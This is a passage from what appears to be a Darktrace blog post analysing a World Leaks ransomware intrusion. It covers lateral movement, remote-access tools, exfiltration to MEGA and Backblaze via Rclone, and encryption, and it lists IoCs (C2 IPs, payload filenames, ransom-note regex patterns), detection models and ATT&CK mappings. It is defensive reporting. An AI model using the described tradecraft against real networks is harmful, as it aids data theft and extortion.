Further lateral movement was carried out using common remote management tools such as Windows Remote Management (WinRM) RDP, allowing the World Leaks threat actors to access local devices within the victim organization’s network.

As this attack progressed, Darktrace detected multiple files being written over SMB. These files included Windows\Temp\chromeremotedesktophost.msi, which was written from the patient-zero device to another internal device as part of lateral movement efforts. Following this transfer, and prior to subsequent data exfiltration activity, a network server was observed connecting to the hostname remotedesktop-pa[.]googleapis[.]com, an API endpoint required for Chrome Remote Desktop, indicating that Chrome RDP was used by the threat actor in this stage of the attack.

Other files written over SMB included the script programdata\syc\OpenSSHUtils.psm1 (which can be used legitimately to configure OpenSSH) and the executable programdata\syc\ssh‑sk‑helper.exe (a legitimate OpenSSH component used to support security keys). These files were written from the suspected patient‑zero device to an internal domain controller using the ‘administrator’ credential.

Thereafter, SSH connections to external IP address 51.15.109[.]222 were observed, providing another channel between the malicious actors and victim machines. Darktrace recognized that the use of SSH by the devices seen connecting to this IP address was highly anomalous, indicating that this suspicious activity formed part of the attack.

Writes of the script programdata\syc\OpenSSHUtils.psm1 were also observed into January, highlighting the continuation of the attack that had begun three months earlier.

On December 19 and 20, Darktrace detected a DNS server within the customer’s network making anomalous outgoing connections to an external IP address not previously seen in the environment: 193.161.193[.]99. This IP address has been reported by open-source-intelligence (OSINT) as being associated with C2 infrastructure, having been linked to several remote access trojans (RATs) and botnets in the past.

This activity a shift towards the infrastructure-as-a-service (IaaS) model, underscoring the growing trend around As-a-Service Cybercrime models and the increasing the industrialization of botnets. The presence of extensive digital botnets, often leased to other criminal organizations, means the group gaining initial access is not necessarily the same group conducting ransomware deployment or data theft; botnets now act as shared underlying infrastructure enabling multiple forms of cybercriminal activity [7].

Furthermore, connections to this IP address (193.161.193[.]99) were made over port 1194, which is associated with OpenVPN, suggesting that World Leaks may have leveraged it to obfuscate C2 communication with attacker-controlled infrastructure.

Darktrace’s detection of the IP address 193.161.193[.]99, noting that it was first seen within the customer’s network on December 19, 2025.
Figure 1: Darktrace’s detection of the IP address 193.161.193[.]99, noting that it was first seen within the customer’s network on December 19, 2025.

Data exfiltration

In November, Darktrace detected the threat actors carrying out one of their Attack on Objective tactics: data exfiltration. Multiple local devices within the compromised network began transferring data to Backblaze and MEGA domains, both of which provide cloud storage services; 80+GB of data was transferred to MEGA in late December 2025. Endpoints associated with this activity included: backblazeb2[.]com and gfs302n520[.]userstorage[.]mega[.]co[.]nz, as well as related user agents such as AS40401 BACKBLAZE) and MegaClient/10.3.0/64.

Notably, Darktrace researchers identified two known World Leaks TTPs in this attack: the use of MEGA, a known tool abused by the group, and Rclone, a command-line tool used to manage files on cloud storage, which was observed in the user agent of the MEGA data-transfer connections: rclone/v1.69.0 [4].

Cyber AI Analyst Incident highlighting data upload activity to backblaze[.]com endpoints.
Figure 2: Cyber AI Analyst Incident highlighting data upload activity to backblaze[.]com endpoints.\

Ransomware deployment & encryption

The encryption stage of this attack was confirmed by the presence of a ransom note found on the network in a file with a seemingly randomized nine-character string preceding README.txt, attributing the incident to World Leaks, along with an extension with the same nine characters appended to encrypted files. Darktrace also observed SMB writes of files named world.exe and task.bat, with the compromised ‘localadmin’ credential used during the SMB logins. It is likely that these files served as the vector for the ransomware payload.

 Packet Capture (PCAP) of the ransom note claiming that the attack was carried out by World Leaks.
Figure 3: Packet Capture (PCAP) of the ransom note claiming that the attack was carried out by World Leaks.

Conclusion

Though traditional ransomware relies on encryption, recent trends show that cyber threat actors no longer need to rely on noisy encryption tools and can eliminate much of the risk and technical complexity associated with encrypting systems. This is the model reportedly preferred by World Leaks after their rebrand from Hunters International.

In addition to reducing noise around these attacks, extortion‑only operations may be favored by threat actors over encryption‑focused ones for several reasons, including the fact that traditional security tools may struggle to detect data theft compared to encryption, that attackers leave less evidence behind when encryption is avoided, and that the long‑term impacts of stolen data on organizations can be greater than the loss of systems caused by encryption processes, which can be restored [8]. This is supported by analysis of data leak sites suggesting that almost 1,500 incidents in 2025 relied on data theft alone. Attackers can simply steal victim data and attempt to extort a ransom by threatening to publish it, without needing to deploy ransomware at all [9]. Furthermore, although World Leaks aims to function as an affiliate‑based EaaS operation, security teams should remain aware that their affiliates may have different criminal objectives.

Contrary to reports that World Leaks’ typical attack style has an extortion‑only objective, Darktrace detected an incident in which a World Leaks attack did end with the encryption of customer data. This highlights the need for adaptive defenses and reinforces the importance of network defenders staying proactive in the face of attacks, particularly as they may progress in ways that are unexpected compared to previous trends associated with a given threat actor.

Credit to Tiana Kelly (Senior Cyber Analyst and Analyst Manager) and Emily Megan Lim (Senior Cyber Analyst)

Edited by Ryan Traill (Content Manager)

Appendices

IoCs

  • world.exe – Executable File – Possible Ransomware Payload
  • task.bat – Script File – Possible Ransomware Payload
  • ‘^[A-Z][a-z]{3}[A-Z][a-z][A-Z]{3}[.]README[.]txt' – Ransom Note
  • [.]^[A-Z][a-z]{3}[A-Z][a-z][A-Z]{3} – Ransomware file extension

·       51.15.109[.]222 – IP Address - Possible C2 Infrastructure

·       193.161.193[.]99 – IP Address – Probable C2 Infrastructure

Darktrace Model Detections (Enhanced Monitoring models denoted with an asterisk)

·      Device / Attack and Recon Tools

·      Device / Suspicious SMB Scanning Activity

·      Device / Anomalous NTLM Brute Force

·      Compliance / Connection to Tunnelling Service

·      Device / Suspicious New User Agents

·      Device / New or Unusual Remote Command Execution

·      Compliance / SMB Drive Write

·      Anomalous Connection / Uncommon 1 GiB Outbound

·      Compromise / Ransomware / Ransom or Offensive Words Written to SMB

·      Device / Multiple Lateral Movement Model Alerts*

·      Device / SMB Lateral Movement

·      Unusual Activity / Sustained Anomalous SMB Activity

·      Device / Large Number of Model Alerts

·      Compromise / Ransomware / SMB Reads then Writes with Additional Extensions

·      Compromise / Ransomware / Suspicious SMB Activity*

·      Anomalous File / Internal / Additional Extension Appended to SMB File

·      Unusual Activity / SMB Access Failures

·      Unusual Activity / Enhanced Unusual External Data Transfer*

·      Device / Suspicious File Writes to Multiple Hidden SMB Shares

·      Anomalous Server Activity / Rare External from Server

·      Unusual Activity / Unusual Mega Data Transfer*

·      Device / Possible SMB/NTLM Brute Force

·      Anomalous Connection / Unusual Admin RDP Session

·      Anomalous Connection / Active Remote Desktop Tunnel

·      Anomalous Connection / Data Sent to Rare Domain

·      Anomalous Connection / New or Uncommon Service Control

·      Anomalous Connection / New or Uncommon Service Enumeration

·      Anomalous Connection / Rare WinRM Outgoing

·      Anomalous Connection / SMB Enumeration

·      Anomalous Connection / Unusual Admin RDP Session

·      Anomalous Connection / Unusual Incoming Long Remote Desktop Session

·      Anomalous Connection / Upload via Remote Desktop

·      Anomalous File / Internal / Executable Uploaded to DC

·      Anomalous File / Internal / Unusual SMB Script Write

·      Compliance / SSH to Rare External Destination

·      Device / Anomalous Github Download

·      Device / Anonymous NTLM Logins

·      Device / Network Scan

·      Device / New or Uncommon WMI Activity

·      Device / New User Agent To Internal Server

·      Device / Possible Brute-Force Activity

·      Device / RDP Scan

·      Device / SMB Session Brute Force (Admin)

·      Device / SMB Session Brute Force (Non-Admin)

·      Device / Suspicious Network Scan Activity

·      Unusual Activity / Successful Admin Brute-Force Activity

·      Unusual Activity / Unusual External Data to New Endpoint

·      Unusual Activity / Unusual External Data Transfer

·      Unusual Activity / Unusual File Storage Data Transfer

·      User / New Admin Credentials on Server

Cyber AI Analyst Incidents

·      Scanning of Multiple Devices

·      Large Volume of SMB Login Failures to Multiple Devices

·      Suspicious Chain of Administrative Connections

·      SMB Write of Suspicious File

·      Suspicious DCE-RPC Activity

·      Unusual External Data Transfer

·      Unusual External Data Transfer to Multiple Related Endpoints

·      Unusual External Data Transfer to Endpoints

MITRE ATT&CK Mapping

·      Initial Access – T1190 – Exploit Public-Facing Application

·      Defense Evasion, Initial Access, Persistence, Privilege Escalation – T1078 – Valid Accounts

·      Resource Development – T1588.001 – Obtain Capabilities: Malware

·      Reconnaissance – T1590.005 – Gather Victim Network Information: IP Addresses

·      Reconnaissance – T1592.004 – Gather Victim Host Information: Client Configurations

·      Reconnaissance – T1595.001 – Active Scanning: Scanning IP Blocks

·      Reconnaissance – T1595.002 – Active Scanning: Vulnerability Scanning

·      Reconnaissance – T1595.003 – Active Scanning: Wordlist Scanning

·      Discovery – T1018 – Remote System Discovery

·      Discovery – T1046 – Network Service Discovery

·      Discovery – T1083 – File and Directory Discovery

·      Discovery – T1135 – Network Share Discovery

·      Command and Control – T1219 – Remote Access Tools

·      Command and Control – T1219.002 – Remote Access Tools: Remote Desktop Software

·      Command and Control – T1571 – Non-Standard Port

·      Command and Control – T1572 – Protocol Tunneling

·      Command and Control – T1573.001 – Encrypted Channel: Symmetric Cryptography

·      Credential Access – T1110 – Brute Force

·      Credential Access – T1110.001 – Brute Force: Password Guessing

·      Defense Evasion – T1006 – Direct Volume Access

·      Defense Evasion – T1564.005 – Hide Artifacts: Hidden File System

·      Defense Evasion – T1564.012 – Hide Artifacts: File/Path Exclusions

·      Execution – T1047 – Windows Management Instrumentation

·      Execution – T1569.002 – System Services: Service Execution

·      Lateral Movement – T1021 – Remote Services

·      Lateral Movement – T1021.001 – Remote Services: Remote Desktop Protocol

·      Lateral Movement – T1021.002 – Remote Services: SMB/Windows Admin Shares

·      Lateral Movement – T1021.006 – Remote Services: Windows Remote Management

·      Lateral Movement – T1080 – Taint Shared Content

·      Lateral Movement – T1210 – Exploitation of Remote Services

·      Lateral Movement – T1570 – Lateral Tool Transfer

·      Collection – T1039 – Data from Network Shared Drive

·      Collection – T1074 – Data Staged

·      Exfiltration – T1041 – Exfiltration Over C2 Channel

·      Exfiltration – T1048 – Exfiltration Over Alternative Protocol

·      Exfiltration – T1567.002 – Exfiltration Over Web Service: Exfiltration to Cloud Storage

References

[1] https://www.levelblue.com/blogs/levelblue-blog/extortion-as-a-service-the-latest-threat-actor-criminal-ecosystem/

[2] https://blackpointcyber.com/wp-content/uploads/2025/12/World-Leaks.pdf

[3] https://blackpointcyber.com/threat-profile/world-leaks-ransomware/

[4] https://www.halcyon.ai/threat-group/worldleaks

[5] https://www.moxfive.com/resources/moxfive-threat-actor-spotlight-world-leaks

[6] https://thehackernews.com/2024/08/cybercriminals-abusing-cloudflare.html

[7] https://www.trendmicro.com/vinfo/tw/security/news/threat-landscape/the-industrialization-of-botnets-automation-and-scale-as-a-new-threat-infrastructure

[8] https://www.morphisec.com/blog/ransomware-without-encryption-why-pure-exfiltration-attacks-are-surging-and-why-theyre-so-hard-to-catch/

[9] https://sed-cms.broadcom.com/sites/default/files/2026-01/RWN-2026-WP100_1.pdf

Continue reading
About the author
Tiana Kelly
Senior Cyber Analyst & Team Lead
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ